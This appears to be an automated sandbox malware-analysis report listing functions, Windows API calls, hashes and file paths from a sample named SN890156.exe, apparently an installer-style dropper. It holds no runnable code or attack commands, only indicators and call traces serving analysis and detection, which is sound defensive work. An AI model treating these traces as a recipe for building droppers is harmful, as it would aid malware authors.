Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: b406f17295b0c4e2c80a39b4892fee2aa768816fba0af151b3e099c9f54450aa
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 3BE08632114259ABDF119E508C04EEB3B5CEB04350F004436F911E3180D230E9209BA4

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: dee534fb00c3da35f42930a873cbe089bc3ca12b7b75b89d27cc42400959d1ef
Instruction ID: 68f4dbfd07ce8b2f927ba9c023ef299b46c4db6be22e7618382101f0868acce4
Opcode Fuzzy Hash: dee534fb00c3da35f42930a873cbe089bc3ca12b7b75b89d27cc42400959d1ef
Instruction Fuzzy Hash: CCE04F76254108BADB00DFA4DD46EA577ECAB04700F004421BA08D60A1C674E5408768

Function 00405CA6 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004031ED,00000000,0040BEC0,?,0040BEC0,?,000000FF,00000004,00000000), ref: 00405CBA

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 00c0377323aa53eb430c82b83f01e62a2601c7c92c94a0140a128221a0f71a88
Instruction ID: 8766ac6266e8b07294e6d952513c2b0c694ccf73d68c0bd44325f5ff4784c02c
Opcode Fuzzy Hash: 00c0377323aa53eb430c82b83f01e62a2601c7c92c94a0140a128221a0f71a88
Instruction Fuzzy Hash: D4E08C3222835AABEF119E548C00EEB3B6CEB01360F004833F915E3190E231E9209BA8

Function 004022DF Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402310

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 66f8b3e970e184d3ebc304a94ec291b034400799dc8d029390466380a40aecae
Instruction ID: 98211d2feed0509b4c5daa86fa820328d7278c452558b0b50cc2825d3d111cbc
Opcode Fuzzy Hash: 66f8b3e970e184d3ebc304a94ec291b034400799dc8d029390466380a40aecae
Instruction Fuzzy Hash: 64E04F30800204BBDF01AFA4CD49DBD3B79AB00344F14043AF900AB1D5E7F89A809749

Function 0040412F Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404141

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c20ba2f4b44bb730ed9beb80e31de2705d99c650012490af2887c79ee983c6a6
Instruction ID: 1f6dcfa326d5252f97bf96967583e82957cdc04532489552bbed9deb9ca34131
Opcode Fuzzy Hash: c20ba2f4b44bb730ed9beb80e31de2705d99c650012490af2887c79ee983c6a6
Instruction Fuzzy Hash: 26C09B757443017BDA318F509D49F27775867A4700F2544397350F70D0C774E451D61D

Function 00404118 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F44), ref: 00404126

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 60aa1d835f0e1251744f08a8622f304abcf8d31a66d486a38430c06eb2f41270
Instruction ID: 29b39a71cad52391c8dc255d064a3e1ff9ef0cb324877085b5716ecfb2dd3a49
Opcode Fuzzy Hash: 60aa1d835f0e1251744f08a8622f304abcf8d31a66d486a38430c06eb2f41270
Instruction Fuzzy Hash: 80B09236A84200BADA214B00ED09F857A62A76C701F008864B300240B0CAB284A2DB19

Function 00403222 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,00403504,?), ref: 00403230

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 00404105 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403EDD), ref: 0040410F

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: d47f543a0a5cf9255e047f9efd0c7089eb13675c2c376fedb6fe0e8f1e294cbf
Instruction ID: 08b0993790eca83da4683932159a1945e4cd9185bce414af844fcd550f832719
Opcode Fuzzy Hash: d47f543a0a5cf9255e047f9efd0c7089eb13675c2c376fedb6fe0e8f1e294cbf
Instruction Fuzzy Hash: 9AA01132808000ABCA028B80EF08C0ABB22FBE0300B008838F2008003083320820EB0A

Non-executed Functions

Function 00404AFA Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B12
GetDlgItem.USER32(?,00000408), ref: 00404B1D
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B67
LoadBitmapW.USER32(0000006E), ref: 00404B7A
SetWindowLongW.USER32(?,000000FC,004050F2), ref: 00404B93
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BA7
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BB9
SendMessageW.USER32(?,00001109,00000002), ref: 00404BCF
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BDB
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404BED
DeleteObject.GDI32(00000000), ref: 00404BF0
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C1B
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C27
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CBD
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CE8
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CFC
GetWindowLongW.USER32(?,000000F0), ref: 00404D2B
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D39
ShowWindow.USER32(?,00000005), ref: 00404D4A
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E47
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EAC
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EC1
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EE5
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F05
ImageList_Destroy.COMCTL32(?), ref: 00404F1A
GlobalFree.KERNEL32(?), ref: 00404F2A
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FA3
SendMessageW.USER32(?,00001102,?,?), ref: 0040504C
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040505B
InvalidateRect.USER32(?,00000000,00000001), ref: 0040507B
ShowWindow.USER32(?,00000000), ref: 004050C9
GetDlgItem.USER32(?,000003FE), ref: 004050D4
ShowWindow.USER32(00000000), ref: 004050DB

Strings

, xrefs: 004050B3
M, xrefs: 00404CA4
N, xrefs: 00404D85

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 00f807dd19097039cdfae8d42ef0864fc158edb6895af2579c06ee0ad68b6d60
Instruction ID: d9c0fbcad293e7aaadacffa1f228c55c0cff6ebba89157b443eef3cf19c2f35f
Opcode Fuzzy Hash: 00f807dd19097039cdfae8d42ef0864fc158edb6895af2579c06ee0ad68b6d60
Instruction Fuzzy Hash: AF026FB0A00209EFDB209F54DD85AAE7BB5FB84314F10857AF610BA2E1D7799D42CF58

Function 0040457E Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004045CD
SetWindowTextW.USER32(00000000,?), ref: 004045F7
SHBrowseForFolderW.SHELL32(?), ref: 004046A8
CoTaskMemFree.OLE32(00000000), ref: 004046B3
lstrcmpiW.KERNEL32(: Completed,00422708,00000000,?,?), ref: 004046E5
lstrcatW.KERNEL32(?,: Completed), ref: 004046F1
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404703

Part of subcall function 00405748: GetDlgItemTextW.USER32(?,?,00000400,0040473A), ref: 0040575B

Part of subcall function 004062B3: CharNextW.USER32(00409300,*?|<>/":,00000000,"C:\Users\user\Desktop\SN890156.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,00403245,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 00406316
Part of subcall function 004062B3: CharNextW.USER32(00409300,00409300,00409300,00000000), ref: 00406325
Part of subcall function 004062B3: CharNextW.USER32(00409300,"C:\Users\user\Desktop\SN890156.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,00403245,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 0040632A
Part of subcall function 004062B3: CharPrevW.USER32(00409300,00409300,75923420,C:\Users\user\AppData\Local\Temp\,00000000,00403245,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 0040633D

GetDiskFreeSpaceW.KERNEL32(004206D8,?,?,0000040F,?,004206D8,004206D8,?,00000001,004206D8,?,?,000003FB,?), ref: 004047C6
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047E1

Part of subcall function 0040493A: lstrlenW.KERNEL32(00422708,00422708,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 004049DB
Part of subcall function 0040493A: wsprintfW.USER32 ref: 004049E4
Part of subcall function 0040493A: SetDlgItemTextW.USER32(?,00422708), ref: 004049F7

Strings

: Completed, xrefs: 004046DF, 004046E4, 004046EF
C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede, xrefs: 004046CE
A, xrefs: 004046A1

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: : Completed$A$C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede
API String ID: 2624150263-2831773614
Opcode ID: 9fff75d44962757429dc3e2902d1974289698b17ee3baa263f594784ad652460
Instruction ID: 5fc8bddc00f1cc174a6dc329f65f284a7a254117467b0892f0b405221262b822
Opcode Fuzzy Hash: 9fff75d44962757429dc3e2902d1974289698b17ee3baa263f594784ad652460
Instruction Fuzzy Hash: D9A150B1D00209ABDB11AFA5CC85AAF77B8EF84315F11843BF611B72D1D77C8A418B69

Function 00405810 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SN890156.exe"), ref: 00405839
lstrcatW.KERNEL32(00424710,\*.*,00424710,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SN890156.exe"), ref: 00405881
lstrcatW.KERNEL32(?,00409014,?,00424710,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SN890156.exe"), ref: 004058A4
lstrlenW.KERNEL32(?,?,00409014,?,00424710,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SN890156.exe"), ref: 004058AA
FindFirstFileW.KERNEL32(00424710,?,?,?,00409014,?,00424710,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SN890156.exe"), ref: 004058BA
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,00409300,0000002E), ref: 0040595A
FindClose.KERNEL32(00000000), ref: 00405969

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040581D
\*.*, xrefs: 0040587B
"C:\Users\user\Desktop\SN890156.exe", xrefs: 00405819

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\SN890156.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3726438361
Opcode ID: 4fb6421756a88129fd8c5299e0ee644403a5a953871eba58af647f09c9a40e4d
Instruction ID: d8405d9d0b65c0b5bb91e26b2d86fa163654aae1973f92c1c3fedea70a861e09
Opcode Fuzzy Hash: 4fb6421756a88129fd8c5299e0ee644403a5a953871eba58af647f09c9a40e4d
Instruction Fuzzy Hash: EA41F271800A18FACB21BB658C49BBF7A78EB81365F10817BF805711D1C77C4D919EAE

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040749C,?,00000001,0040748C,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft
API String ID: 542301482-1946704446
Opcode ID: 03f0fd0ff2f580f3854ec2e53020d6329bb58675451acfa8e9ebd3045554966f
Instruction ID: 6cbe38940624da38e40774ab578681f1f604b85ca8fb8198b005fe2b44c0e728
Opcode Fuzzy Hash: 03f0fd0ff2f580f3854ec2e53020d6329bb58675451acfa8e9ebd3045554966f
Instruction Fuzzy Hash: A7411D75A00208AFCF00DFA4CD889AD7BB5FF48314B20457AF515EB2D1D7799A41CB55

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040280A

Memory Dump Source

